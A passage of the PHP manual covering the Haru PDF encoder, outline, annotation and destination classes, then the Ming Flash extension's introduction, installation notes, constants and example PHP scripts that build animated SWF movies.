  • HaruEncoder::BYTE_TYPE_LEAD - lead byte of a double-byte character.
  • HaruEncoder::BYTE_TYPE_TRAIL - trailing byte of a double-byte character.
  • HaruEncoder::BYTE_TYPE_UNKNOWN - invalid encoder or cannot detect the byte type.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the type of the encoder

  • « HaruEncoder::getByteType
  • HaruEncoder::getUnicode »
  • PHP Manual
  • HaruEncoder
  • Get the type of the encoder

HaruEncoder::getType

(PECL haru >= 0.0.1)

HaruEncoder::getType — Get the type of the encoder

Description

int HaruEncoder::getType ( void )

Get the type of the encoder.

Parameters

This function has no parameters.

Return Values

Returns the type of the encoder. The result is one of the following values:

  • HaruEncoder::TYPE_SINGLE_BYTE - the encoder is for single byte characters.
  • HaruEncoder::TYPE_DOUBLE_BYTE - the encoder is for multibyte characters.
  • HaruEncoder::TYPE_UNINITIALIZED - the encoder is not initialized.
  • HaruEncoder::UNKNOWN - the encoder is invalid.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Convert the specified character to unicode

  • « HaruEncoder::getType
  • HaruEncoder::getWritingMode »
  • PHP Manual
  • HaruEncoder
  • Convert the specified character to unicode

HaruEncoder::getUnicode

(PECL haru >= 0.0.1)

HaruEncoder::getUnicode — Convert the specified character to unicode

Description

int HaruEncoder::getUnicode ( int $character )

Converts the specified character to unicode.

Parameters

character

The character code to convert.

Return Values

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the writing mode of the encoder

  • « HaruEncoder::getUnicode
  • HaruOutline »
  • PHP Manual
  • HaruEncoder
  • Get the writing mode of the encoder

HaruEncoder::getWritingMode

(PECL haru >= 0.0.1)

HaruEncoder::getWritingMode — Get the writing mode of the encoder

Description

int HaruEncoder::getWritingMode ( void )

Get the writing mode of the encoder.

Parameters

This function has no parameters.

Return Values

Returns the writing mode of the encoder. The result value is on of the following:

  • HaruEncoder::WMODE_HORIZONTAL - horizontal writing mode.
  • HaruEncoder::WMODE_VERTICAL - vertical writing mode.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


The HaruOutline class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Outline Class.

Class synopsis

HaruOutline {
/* Methods */
bool setDestination ( object $destination )
bool setOpened ( bool $opened )
}

Table of Contents

  • HaruOutline::setDestination — Set the destination for the outline
  • HaruOutline::setOpened — Set the initial state of the outline

User Contributed Notes

There are no user contributed notes for this page.


Set the destination for the outline

  • « HaruOutline
  • HaruOutline::setOpened »
  • PHP Manual
  • HaruOutline
  • Set the destination for the outline

HaruOutline::setDestination

(PECL haru >= 0.0.1)

HaruOutline::setDestination — Set the destination for the outline

Description

bool HaruOutline::setDestination ( object $destination )

Sets a destination object which becomes a target to jump to when the outline is clicked.

Parameters

destination

A valid HaruDestination instance.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the initial state of the outline

  • « HaruOutline::setDestination
  • HaruAnnotation »
  • PHP Manual
  • HaruOutline
  • Set the initial state of the outline

HaruOutline::setOpened

(PECL haru >= 0.0.1)

HaruOutline::setOpened — Set the initial state of the outline

Description

bool HaruOutline::setOpened ( bool $opened )

Defines whether this node is opened or not when the outline is displayed for the first time.

Parameters

opened

TRUE means open, FALSE - closed.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


The HaruAnnotation class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Annotation Class.

Class synopsis

HaruAnnotation {
/* Methods */
bool setBorderStyle ( float $width , int $dash_on , int $dash_off )
bool setHighlightMode ( int $mode )
bool setIcon ( int $icon )
bool setOpened ( bool $opened )
}

Predefined Constants

Type | Name | Description
int | HaruAnnotation::NO_HIGHLIGHT |
int | HaruAnnotation::INVERT_BOX |
int | HaruAnnotation::INVERT_BORDER |
int | HaruAnnotation::DOWN_APPEARANCE |
int | HaruAnnotation::ICON_COMMENT |
int | HaruAnnotation::ICON_KEY |
int | HaruAnnotation::ICON_NOTE |
int | HaruAnnotation::ICON_HELP |
int | HaruAnnotation::ICON_NEW_PARAGRAPH |
int | HaruAnnotation::ICON_PARAGRAPH |
int | HaruAnnotation::ICON_INSERT |

Table of Contents

  • HaruAnnotation::setBorderStyle — Set the border style of the annotation
  • HaruAnnotation::setHighlightMode — Set the highlighting mode of the annotation
  • HaruAnnotation::setIcon — Set the icon style of the annotation
  • HaruAnnotation::setOpened — Set the initial state of the annotation

User Contributed Notes

There are no user contributed notes for this page.


Set the border style of the annotation

  • « HaruAnnotation
  • HaruAnnotation::setHighlightMode »
  • PHP Manual
  • HaruAnnotation
  • Set the border style of the annotation

HaruAnnotation::setBorderStyle

(PECL haru >= 0.0.1)

HaruAnnotation::setBorderStyle — Set the border style of the annotation

Description

bool HaruAnnotation::setBorderStyle ( float $width , int $dash_on , int $dash_off )

Defines the style of the border of the annotation. This function may be used with link annotations only.

Parameters

width

The width of the border line.

dash_on

The dash style.

dash_off

The dash style.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the highlighting mode of the annotation

  • « HaruAnnotation::setBorderStyle
  • HaruAnnotation::setIcon »
  • PHP Manual
  • HaruAnnotation
  • Set the highlighting mode of the annotation

HaruAnnotation::setHighlightMode

(PECL haru >= 0.0.1)

HaruAnnotation::setHighlightMode — Set the highlighting mode of the annotation

Description

bool HaruAnnotation::setHighlightMode ( int $mode )

Defines the appearance of the annotation when clicked. This function may be used with link annotations only.

Parameters

mode

The highlighting mode of the annotation. Can take only these values:

  • HaruAnnotation::NO_HIGHLIGHT - no highlighting.
  • HaruAnnotation::INVERT_BOX - invert the contents of the annotation.
  • HaruAnnotation::INVERT_BORDER - invert the border of the annotation.
  • HaruAnnotation::DOWN_APPEARANCE - dent the annotation.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the icon style of the annotation

  • « HaruAnnotation::setHighlightMode
  • HaruAnnotation::setOpened »
  • PHP Manual
  • HaruAnnotation
  • Set the icon style of the annotation

HaruAnnotation::setIcon

(PECL haru >= 0.0.1)

HaruAnnotation::setIcon — Set the icon style of the annotation

Description

bool HaruAnnotation::setIcon ( int $icon )

Defines the style of the annotation icon. This function may be used with text annotations only.

Parameters

icon

The style of the icon. Can take only these values:

  • HaruAnnotation::ICON_COMMENT
  • HaruAnnotation::ICON_KEY
  • HaruAnnotation::ICON_NOTE
  • HaruAnnotation::ICON_HELP
  • HaruAnnotation::ICON_NEW_PARAGRAPH
  • HaruAnnotation::ICON_PARAGRAPH
  • HaruAnnotation::ICON_INSERT

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the initial state of the annotation

  • « HaruAnnotation::setIcon
  • HaruDestination »
  • PHP Manual
  • HaruAnnotation
  • Set the initial state of the annotation

HaruAnnotation::setOpened

(PECL haru >= 0.0.1)

HaruAnnotation::setOpened — Set the initial state of the annotation

Description

bool HaruAnnotation::setOpened ( bool $opened )

Defines whether the annotation is initially displayed open. This function may be used with text annotations only.

Parameters

opened

TRUE means the annotation is initially displayed open, FALSE - means it's closed.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


The HaruDestination class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Destination Class.

Class synopsis

HaruDestination {
/* Methods */
bool setFit ( void )
bool setFitB ( void )
bool setFitBH ( float $top )
bool setFitBV ( float $left )
bool setFitH ( float $top )
bool setFitR ( float $left , float $bottom , float $right , float $top )
bool setFitV ( float $left )
bool setXYZ ( float $left , float $top , float $zoom )
}

Table of Contents

  • HaruDestination::setFit — Set the appearance of the page to fit the window
  • HaruDestination::setFitB — Set the appearance of the page to fit the bounding box of the page within the window
  • HaruDestination::setFitBH — Set the appearance of the page to fit the width of the bounding box
  • HaruDestination::setFitBV — Set the appearance of the page to fit the height of the boudning box
  • HaruDestination::setFitH — Set the appearance of the page to fit the window width
  • HaruDestination::setFitR — Set the appearance of the page to fit the specified rectangle
  • HaruDestination::setFitV — Set the appearance of the page to fit the window height
  • HaruDestination::setXYZ — Set the appearance of the page

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the window

  • « HaruDestination
  • HaruDestination::setFitB »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the window

HaruDestination::setFit

(PECL haru >= 0.0.1)

HaruDestination::setFit — Set the appearance of the page to fit the window

Description

bool HaruDestination::setFit ( void )

Defines the appearance of the page to fit the window.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the bounding box of the page within the window

  • « HaruDestination::setFit
  • HaruDestination::setFitBH »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the bounding box of the page within the window

HaruDestination::setFitB

(PECL haru >= 0.0.1)

HaruDestination::setFitB — Set the appearance of the page to fit the bounding box of the page within the window

Description

bool HaruDestination::setFitB ( void )

Defines the appearance of the page to fit the bounding box of the page within the window.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the width of the bounding box

  • « HaruDestination::setFitB
  • HaruDestination::setFitBV »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the width of the bounding box

HaruDestination::setFitBH

(PECL haru >= 0.0.1)

HaruDestination::setFitBH — Set the appearance of the page to fit the width of the bounding box

Description

bool HaruDestination::setFitBH ( float $top )

Defines the appearance of the page to magnifying to fit the width of the bounding box and setting the top position of the page to the value of top.

Parameters

top

The top coordinates of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the height of the boudning box

  • « HaruDestination::setFitBH
  • HaruDestination::setFitH »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the height of the boudning box

HaruDestination::setFitBV

(PECL haru >= 0.0.1)

HaruDestination::setFitBV — Set the appearance of the page to fit the height of the boudning box

Description

bool HaruDestination::setFitBV ( float $left )

Defines the appearance of the page to magnifying to fit the height of the bounding box and setting the left position of the page to the value of left.

Parameters

left

The left coordinates of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the window width

  • « HaruDestination::setFitBV
  • HaruDestination::setFitR »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the window width

HaruDestination::setFitH

(PECL haru >= 0.0.1)

HaruDestination::setFitH — Set the appearance of the page to fit the window width

Description

bool HaruDestination::setFitH ( float $top )

Defines the appearance of the page to fit the window width and sets the top position of the page to the value of top.

Parameters

top

The top position of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the specified rectangle

  • « HaruDestination::setFitH
  • HaruDestination::setFitV »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the specified rectangle

HaruDestination::setFitR

(PECL haru >= 0.0.1)

HaruDestination::setFitR — Set the appearance of the page to fit the specified rectangle

Description

bool HaruDestination::setFitR ( float $left , float $bottom , float $right , float $top )

Defines the appearance of the page to fit the rectangle by the parameters.

Parameters

left

The left coordinates of the page.

bottom

The bottom coordinates of the page.

right

The right coordinates of the page.

top

The top coordinates of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page to fit the window height

  • « HaruDestination::setFitR
  • HaruDestination::setXYZ »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page to fit the window height

HaruDestination::setFitV

(PECL haru >= 0.0.1)

HaruDestination::setFitV — Set the appearance of the page to fit the window height

Description

bool HaruDestination::setFitV ( float $left )

Defines the appearance of the page to fit the window height.

Parameters

left

The left position of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the appearance of the page

  • « HaruDestination::setFitV
  • Ming »
  • PHP Manual
  • HaruDestination
  • Set the appearance of the page

HaruDestination::setXYZ

(PECL haru >= 0.0.1)

HaruDestination::setXYZ — Set the appearance of the page

Description

bool HaruDestination::setXYZ ( float $left , float $top , float $zoom )

Defines the appearance of the page using three parameters: left, top and zoom.

Parameters

left

The left position of the page.

top

The top position of the page.

zoom

The magnification factor. The value must be between 0.08 (8%) and 32 (3200%).

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Ming (flash)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • SWFAction Examples
    • SWFSPrite basic examples
  • Ming Functions
    • ming_keypress — Returns the action flag for keyPress(char)
    • ming_setcubicthreshold — Set cubic threshold
    • ming_setscale — Set the global scaling factor.
    • ming_setswfcompression — Sets the SWF output compression
    • ming_useconstants — Use constant pool
    • ming_useswfversion — Sets the SWF version
  • SWFAction — The SWFAction class
    • SWFAction::__construct — Creates a new SWFAction
  • SWFBitmap — The SWFBitmap class
    • SWFBitmap::__construct — Loads Bitmap object
    • SWFBitmap::getHeight — Returns the bitmap's height
    • SWFBitmap::getWidth — Returns the bitmap's width
  • SWFButton — The SWFButton class
    • SWFButton::addAction — Adds an action
    • SWFButton::addASound — Associates a sound with a button transition
    • SWFButton::addShape — Adds a shape to a button
    • SWFButton::__construct — Creates a new Button
    • SWFButton::setAction — Sets the action
    • SWFButton::setDown — Alias for addShape(shape, SWFBUTTON_DOWN)
    • SWFButton::setHit — Alias for addShape(shape, SWFBUTTON_HIT)
    • SWFButton::setMenu — enable track as menu button behaviour
    • SWFButton::setOver — Alias for addShape(shape, SWFBUTTON_OVER)
    • SWFButton::setUp — Alias for addShape(shape, SWFBUTTON_UP)
  • SWFDisplayItem — The SWFDisplayItem class
    • SWFDisplayItem::addAction — Adds this SWFAction to the given SWFSprite instance
    • SWFDisplayItem::addColor — Adds the given color to this item's color transform
    • SWFDisplayItem::endMask — Another way of defining a MASK layer
    • SWFDisplayItem::getRot — Description
    • SWFDisplayItem::getX — Description
    • SWFDisplayItem::getXScale — Description
    • SWFDisplayItem::getXSkew — Description
    • SWFDisplayItem::getY — Description
    • SWFDisplayItem::getYScale — Description
    • SWFDisplayItem::getYSkew — Description
    • SWFDisplayItem::move — Moves object in relative coordinates
    • SWFDisplayItem::moveTo — Moves object in global coordinates
    • SWFDisplayItem::multColor — Multiplies the item's color transform
    • SWFDisplayItem::remove — Removes the object from the movie
    • SWFDisplayItem::rotate — Rotates in relative coordinates
    • SWFDisplayItem::rotateTo — Rotates the object in global coordinates
    • SWFDisplayItem::scale — Scales the object in relative coordinates
    • SWFDisplayItem::scaleTo — Scales the object in global coordinates
    • SWFDisplayItem::setDepth — Sets z-order
    • SWFDisplayItem::setMaskLevel — Defines a MASK layer at level
    • SWFDisplayItem::setMatrix — Sets the item's transform matrix
    • SWFDisplayItem::setName — Sets the object's name
    • SWFDisplayItem::setRatio — Sets the object's ratio
    • SWFDisplayItem::skewX — Sets the X-skew
    • SWFDisplayItem::skewXTo — Sets the X-skew
    • SWFDisplayItem::skewY — Sets the Y-skew
    • SWFDisplayItem::skewYTo — Sets the Y-skew
  • SWFFill — The SWFFill class
    • SWFFill::moveTo — Moves fill origin
    • SWFFill::rotateTo — Sets fill's rotation
    • SWFFill::scaleTo — Sets fill's scale
    • SWFFill::skewXTo — Sets fill x-skew
    • SWFFill::skewYTo — Sets fill y-skew
  • SWFFont — The SWFFont class
    • SWFFont::__construct — Loads a font definition
    • SWFFont::getAscent — Returns the ascent of the font, or 0 if not available
    • SWFFont::getDescent — Returns the descent of the font, or 0 if not available
    • SWFFont::getLeading — Returns the leading of the font, or 0 if not available
    • SWFFont::getShape — Returns the glyph shape of a char as a text string
    • SWFFont::getUTF8Width — Calculates the width of the given string in this font at full height
    • SWFFont::getWidth — Returns the string's width
  • SWFFontChar — The SWFFontChar class
    • SWFFontChar::addChars — Adds characters to a font for exporting font
    • SWFFontChar::addUTF8Chars — Adds characters to a font for exporting font
  • SWFGradient — The SWFGradient class
    • SWFGradient::addEntry — Adds an entry to the gradient list
    • SWFGradient::__construct — Creates a gradient object
  • SWFMorph — The SWFMorph class
    • SWFMorph::__construct — Creates a new SWFMorph object
    • SWFMorph::getShape1 — Gets a handle to the starting shape
    • SWFMorph::getShape2 — Gets a handle to the ending shape
  • SWFMovie — The SWFMovie class
    • SWFMovie::add — Adds any type of data to a movie
    • SWFMovie::addExport — Description
    • SWFMovie::addFont — Description
    • SWFMovie::__construct — Creates a new movie object, representing an SWF version 4 movie
    • SWFMovie::importChar — Description
    • SWFMovie::importFont — Description
    • SWFMovie::labelFrame — Labels a frame
    • SWFMovie::nextFrame — Moves to the next frame of the animation
    • SWFMovie::output — Dumps your lovingly prepared movie out
    • SWFMovie::remove — Removes the object instance from the display list
    • SWFMovie::save — Saves the SWF movie in a file
    • SWFMovie::saveToFile — Description
    • SWFMovie::setbackground — Sets the background color
    • SWFMovie::setDimension — Sets the movie's width and height
    • SWFMovie::setFrames — Sets the total number of frames in the animation
    • SWFMovie::setRate — Sets the animation's frame rate
    • SWFMovie::startSound — Description
    • SWFMovie::stopSound — Description
    • SWFMovie::streamMP3 — Streams a MP3 file
    • SWFMovie::writeExports — Description
  • SWFPrebuiltClip — The SWFPrebuiltClip class
    • SWFPrebuiltClip::__construct — Returns a SWFPrebuiltClip object
  • SWFShape — The SWFShape class
    • SWFShape::addFill — Adds a solid fill to the shape
    • SWFShape::__construct — Creates a new shape object
    • SWFShape::drawArc — Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock
    • SWFShape::drawCircle — Draws a circle of radius r centered at the current location, in a counter-clockwise fashion
    • SWFShape::drawCubic — Draws a cubic bezier curve using the current position and the three given points as control points
    • SWFShape::drawCubicTo — Draws a cubic bezier curve using the current position and the three given points as control points
    • SWFShape::drawCurve — Draws a curve (relative)
    • SWFShape::drawCurveTo — Draws a curve
    • SWFShape::drawGlyph — Draws the first character in the given string into the shape using the glyph definition from the given font
    • SWFShape::drawLine — Draws a line (relative)
    • SWFShape::drawLineTo — Draws a line
    • SWFShape::movePen — Moves the shape's pen (relative)
    • SWFShape::movePenTo — Moves the shape's pen
    • SWFShape::setLeftFill — Sets left rasterizing color
    • SWFShape::setLine — Sets the shape's line style
    • SWFShape::setRightFill — Sets right rasterizing color
  • SWFSound — The SWFSound class
    • SWFSound::__construct — Returns a new SWFSound object from given file
  • SWFSoundInstance — The SWFSoundInstance class
    • SWFSoundInstance::loopCount — Description
    • SWFSoundInstance::loopInPoint — Description
    • SWFSoundInstance::loopOutPoint — Description
    • SWFSoundInstance::noMultiple — Description
  • SWFSprite — The SWFSprite class
    • SWFSprite::add — Adds an object to a sprite
    • SWFSprite::__construct — Creates a movie clip (a sprite)
    • SWFSprite::labelFrame — Labels frame
    • SWFSprite::nextFrame — Moves to the next frame of the animation
    • SWFSprite::remove — Removes an object to a sprite
    • SWFSprite::setFrames — Sets the total number of frames in the animation
    • SWFSprite::startSound — Description
    • SWFSprite::stopSound — Description
  • SWFText — The SWFText class
    • SWFText::addString — Draws a string
    • SWFText::addUTF8String — Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color
    • SWFText::__construct — Creates a new SWFText object
    • SWFText::getAscent — Returns the ascent of the current font at its current size, or 0 if not available
    • SWFText::getDescent — Returns the descent of the current font at its current size, or 0 if not available
    • SWFText::getLeading — Returns the leading of the current font at its current size, or 0 if not available
    • SWFText::getUTF8Width — calculates the width of the given string in this text objects current font and size
    • SWFText::getWidth — Computes string's width
    • SWFText::moveTo — Moves the pen
    • SWFText::setColor — Sets the current text color
    • SWFText::setFont — Sets the current font
    • SWFText::setHeight — Sets the current font height
    • SWFText::setSpacing — Sets the current font spacing
  • SWFTextField — The SWFTextField class
    • SWFTextField::addChars — adds characters to a font that will be available within a textfield
    • SWFTextField::addString — Concatenates the given string to the text field
    • SWFTextField::align — Sets the text field alignment
    • SWFTextField::__construct — Creates a text field object
    • SWFTextField::setBounds — Sets the text field width and height
    • SWFTextField::setColor — Sets the color of the text field
    • SWFTextField::setFont — Sets the text field font
    • SWFTextField::setHeight — Sets the font height of this text field font
    • SWFTextField::setIndentation — Sets the indentation of the first line
    • SWFTextField::setLeftMargin — Sets the left margin width of the text field
    • SWFTextField::setLineSpacing — Sets the line spacing of the text field
    • SWFTextField::setMargins — Sets the margins width of the text field
    • SWFTextField::setName — Sets the variable name
    • SWFTextField::setPadding — Sets the padding of this textfield
    • SWFTextField::setRightMargin — Sets the right margin width of the text field
  • SWFVideoStream — The SWFVideoStream class
    • SWFVideoStream::__construct — Returns a SWFVideoStream object
    • SWFVideoStream::getNumFrames — Returns the number of frames in the video
    • SWFVideoStream::setDimension — Sets video dimension

User Contributed Notes

There are no user contributed notes for this page.


Introduction

First of all: Ming is not an acronym. Ming is an open-source (LGPL) library which allows you to create SWF ("Flash") format movies. Ming supports almost all of Flash 4's features, including: shapes, gradients, bitmaps (pngs and jpegs), morphs ("shape tweens"), text, buttons, actions, sprites ("movie clips"), streaming mp3, and color transforms --the only thing that's missing is sound events.

Note that all values specifying length, distance, size, etc. are in "twips", twenty units per pixel. That's pretty much arbitrary, though, since the player scales the movie to whatever pixel size is specified in the embed/object tag, or the entire frame if not embedded.

Ming offers a number of advantages over the existing PHP/libswf module. You can use Ming anywhere you can compile the code, whereas libswf is closed-source and only available for a few platforms, Windows not one of them. Ming provides some insulation from the mundane details of the SWF file format, wrapping the movie elements in PHP objects. Also, Ming is still being maintained; if there's a feature that you want to see, just let us know at » http://www.libming.org/.

Ming was added in PHP 4.0.5.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

User Contributed Notes

petruzanautico at yahoo dot com dot ar 24-Sep-2010 04:28
Just found out why this is called Ming and LOL'ed.
Ming is Flash Gordon's enemy. :D


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

rajgoynar at gmail dot com 07-Aug-2013 06:14
please add some note to install on windows wamp server.
uwe dot feldmann at tas-gruppe dot de 15-Dec-2010 01:43
Installation on Ubuntu is quite simple, tested with version 5.2.10 on Apache2 / Ubuntu 6.4:

Install with (sudo) apt-get install php5-ming
Restart apache
done!

You can check the installation with phpinfo(), it should show a chapter called "ming".
bcraigie 13-Oct-2008 12:31
The installation notes for ming 0.3.0 say:
"Feb 2006: This module is for PHP4, not PHP5. Use the ming module that
comes with PHP5 if you are running PHP5."

This is a little confusing as the installation notes here don't explain how to do this with php5.

:-S


Requirements

To use Ming with PHP, you first need to build and install the Ming library. Source code and installation instructions are available at the Ming home page: » http://www.libming.org/ along with examples, a small tutorial, and the latest news.

Download the ming archive. Unpack the archive. Go in the Ming directory. make. make install.

This will build libming.so and install it into /usr/lib/, and copy ming.h into /usr/include/. Edit the PREFIX= line in the Makefile to change the installation directory.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ming.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MING_NEW (integer)
MING_ZLIB (integer)
SWFBUTTON_HIT (integer)
SWFBUTTON_DOWN (integer)
SWFBUTTON_OVER (integer)
SWFBUTTON_UP (integer)
SWFBUTTON_MOUSEUPOUTSIDE (integer)
SWFBUTTON_DRAGOVER (integer)
SWFBUTTON_DRAGOUT (integer)
SWFBUTTON_MOUSEUP (integer)
SWFBUTTON_MOUSEDOWN (integer)
SWFBUTTON_MOUSEOUT (integer)
SWFBUTTON_MOUSEOVER (integer)
SWFFILL_RADIAL_GRADIENT (integer)
SWFFILL_LINEAR_GRADIENT (integer)
SWFFILL_TILED_BITMAP (integer)
SWFFILL_CLIPPED_BITMAP (integer)
SWFTEXTFIELD_HASLENGTH (integer)
SWFTEXTFIELD_NOEDIT (integer)
SWFTEXTFIELD_PASSWORD (integer)
SWFTEXTFIELD_MULTILINE (integer)
SWFTEXTFIELD_WORDWRAP (integer)
SWFTEXTFIELD_DRAWBOX (integer)
SWFTEXTFIELD_NOSELECT (integer)
SWFTEXTFIELD_HTML (integer)
SWFTEXTFIELD_ALIGN_LEFT (integer)
SWFTEXTFIELD_ALIGN_RIGHT (integer)
SWFTEXTFIELD_ALIGN_CENTER (integer)
SWFTEXTFIELD_ALIGN_JUSTIFY (integer)
SWFACTION_ONLOAD (integer)
SWFACTION_ENTERFRAME (integer)
SWFACTION_UNLOAD (integer)
SWFACTION_MOUSEMOVE (integer)
SWFACTION_MOUSEDOWN (integer)
SWFACTION_MOUSEUP (integer)
SWFACTION_KEYDOWN (integer)
SWFACTION_KEYUP (integer)
SWFACTION_DATA (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • SWFAction Examples
  • SWFSPrite basic examples

User Contributed Notes

There are no user contributed notes for this page.


SWFAction Examples

This simple example will move the red square across the window.

Example #1 swfaction() example

<?php
  $s = new SWFShape();
  $f = $s->addFill(0xff, 0, 0);
  $s->setRightFill($f);

  $s->movePenTo(-500, -500);
  $s->drawLineTo(500, -500);
  $s->drawLineTo(500, 500);
  $s->drawLineTo(-500, 500);
  $s->drawLineTo(-500, -500);

  $p = new SWFSprite();
  $i = $p->add($s);
  $i->setDepth(1);
  $p->nextFrame();

  for ($n=0; $n<5; ++$n) {
    $i->rotate(-15);
    $p->nextFrame();
  }

  $m = new SWFMovie();
  $m->setBackground(0xff, 0xff, 0xff);
  $m->setDimension(6000, 4000);

  $i = $m->add($p);
  $i->setDepth(1);
  $i->moveTo(-500,2000);
  $i->setName("box");

  $m->add(new SWFAction("/box.x += 3;"));
  $m->nextFrame();
  $m->add(new SWFAction("gotoFrame(0); play();"));
  $m->nextFrame();

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

This simple example tracks down your mouse on the screen.

Example #2 swfaction() example

<?php

  $m = new SWFMovie();
  $m->setRate(36.0);
  $m->setDimension(1200, 800);
  $m->setBackground(0, 0, 0);

  /* mouse tracking sprite - empty, but follows mouse so we can
     get its x and y coordinates */

  $i = $m->add(new SWFSprite());
  $i->setName('mouse');

  $m->add(new SWFAction("
    startDrag('/mouse', 1); /* '1' means lock sprite to the mouse */
  "));

  /* might as well turn off antialiasing, since these are just squares. */

  $m->add(new SWFAction("
    this.quality = 0;
  "));

  /* morphing box */
  $r = new SWFMorph();
  $s = $r->getShape1();

  /* Note this is backwards from normal shapes.  No idea why. */
  $s->setLeftFill($s->addFill(0xff, 0xff, 0xff));
  $s->movePenTo(-40, -40);
  $s->drawLine(80, 0);
  $s->drawLine(0, 80);
  $s->drawLine(-80, 0);
  $s->drawLine(0, -80);

  $s = $r->getShape2();

  $s->setLeftFill($s->addFill(0x00, 0x00, 0x00));
  $s->movePenTo(-1, -1);
  $s->drawLine(2, 0);
  $s->drawLine(0, 2);
  $s->drawLine(-2, 0);
  $s->drawLine(0, -2);

  /* sprite container for morphing box -
     this is just a timeline w/ the box morphing */

  $box = new SWFSprite();
  $box->add(new SWFAction("
    stop();
  "));
  $i = $box->add($r);

  for ($n=0; $n<=20; ++$n) {
    $i->setRatio($n/20);
    $box->nextFrame();
  }

  /* this container sprite allows us to use the same action code many times */

  $cell = new SWFSprite();
  $i = $cell->add($box);
  $i->setName('box');

  $cell->add(new SWFAction("

    setTarget('box');

    /* ...x means the x coordinate of the parent, i.e. (..).x */
    dx = (/mouse.x + random(6)-3 - ...x)/5;
    dy = (/mouse.y + random(6)-3 - ...y)/5;
    gotoFrame(int(dx*dx + dy*dy));

  "));

  $cell->nextFrame();
  $cell->add(new SWFAction("

    gotoFrame(0);
    play();

  "));

  $cell->nextFrame();

  /* finally, add a bunch of the cells to the movie */

  for ($x=0; $x<12; ++$x) {
    for ($y=0; $y<8; ++$y) {
      $i = $m->add($cell);
      $i->moveTo(100*$x+50, 100*$y+50);
    }
  }

  $m->nextFrame();

  $m->add(new SWFAction("

    gotoFrame(1);
    play();

  "));

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

Same as above, but with nice colored balls...

Example #3 swfaction() example

<?php

  $m = new SWFMovie();
  $m->setDimension(11000, 8000);
  $m->setBackground(0x00, 0x00, 0x00);

  $m->add(new SWFAction("

this.quality = 0;
/frames.visible = 0;
startDrag('/mouse', 1);

  "));

  // mouse tracking sprite
  $t = new SWFSprite();
  $i = $m->add($t);
  $i->setName('mouse');

  $g = new SWFGradient();
  $g->addEntry(0, 0xff, 0xff, 0xff, 0xff);
  $g->addEntry(0.1, 0xff, 0xff, 0xff, 0xff);
  $g->addEntry(0.5, 0xff, 0xff, 0xff, 0x5f);
  $g->addEntry(1.0, 0xff, 0xff, 0xff, 0);

